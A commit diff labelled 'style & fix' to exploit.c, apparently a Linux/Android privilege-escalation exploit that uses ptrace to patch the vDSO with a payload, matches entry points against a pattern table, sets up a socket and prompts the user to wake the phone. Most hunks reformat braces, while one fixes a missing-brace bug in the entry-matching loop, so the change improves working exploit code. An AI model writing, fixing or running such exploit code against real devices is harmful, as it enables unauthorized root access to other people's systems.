style & fix

exploit.c

@@ -114,7 +114,8 @@ ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
 
         errno = 0;
         value = ptrace(PTRACE_PEEKTEXT, pid, dest, NULL);
-        if (value == -1 && errno != 0) {
+        if (value == -1 && errno != 0)
+        {
             fprintf(stderr, "Syscall error: ptrace at line %d with code %d.\n",
                 __LINE__, errno);
             exit(EXIT_FAILURE);
@@ -187,12 +188,15 @@ match_entry(void *vdso_addr, const struct entry **entry)
     void *entry_point;
     int i;
 
-    for (i = 0; i < ARRAY_SIZE(entry_db); i++) {
+    for (i = 0; i < ARRAY_SIZE(entry_db); i++)
+    {
         e = &entry_db[i];
         if ((entry_point = memmem(vdso_addr, VDSO_SIZE,
                                   e->s_pattern, e->s_size)) != 0)
+        {
             *entry = e;
             return entry_point - vdso_addr;
+        }
     }
 
     return 0;
@@ -280,8 +284,10 @@ build_vdso_patch(void *vdso_addr, size_t target_offset, const struct entry *e)
     vdso_patch[0] = tmp0;
 
     dp = vdso_patch[0].offset + vdso_addr;
-    for (i = 0; i < payload_len; i++) {
-        if (dp[i] != '\x00') {
+    for (i = 0; i < payload_len; i++)
+    {
+        if (dp[i] != '\x00')
+        {
             fprintf(stderr, "Internal error: insufficient place "
                             "for payload.\n");
             exit(EXIT_FAILURE);
@@ -573,7 +579,8 @@ main(int argc, char *argv[])
 
     vdso_patch = build_vdso_patch(vdso_addr, target_offset, entry);
 
-    if (loc) {
+    if (loc)
+    {
         s = setup_socket(port);
     }
 
@@ -583,7 +590,8 @@ main(int argc, char *argv[])
 
     printf(">>> Please wake up you phone now.\n\n");
 
-    if (loc) {
+    if (loc)
+    {
         term(s);
     }
     else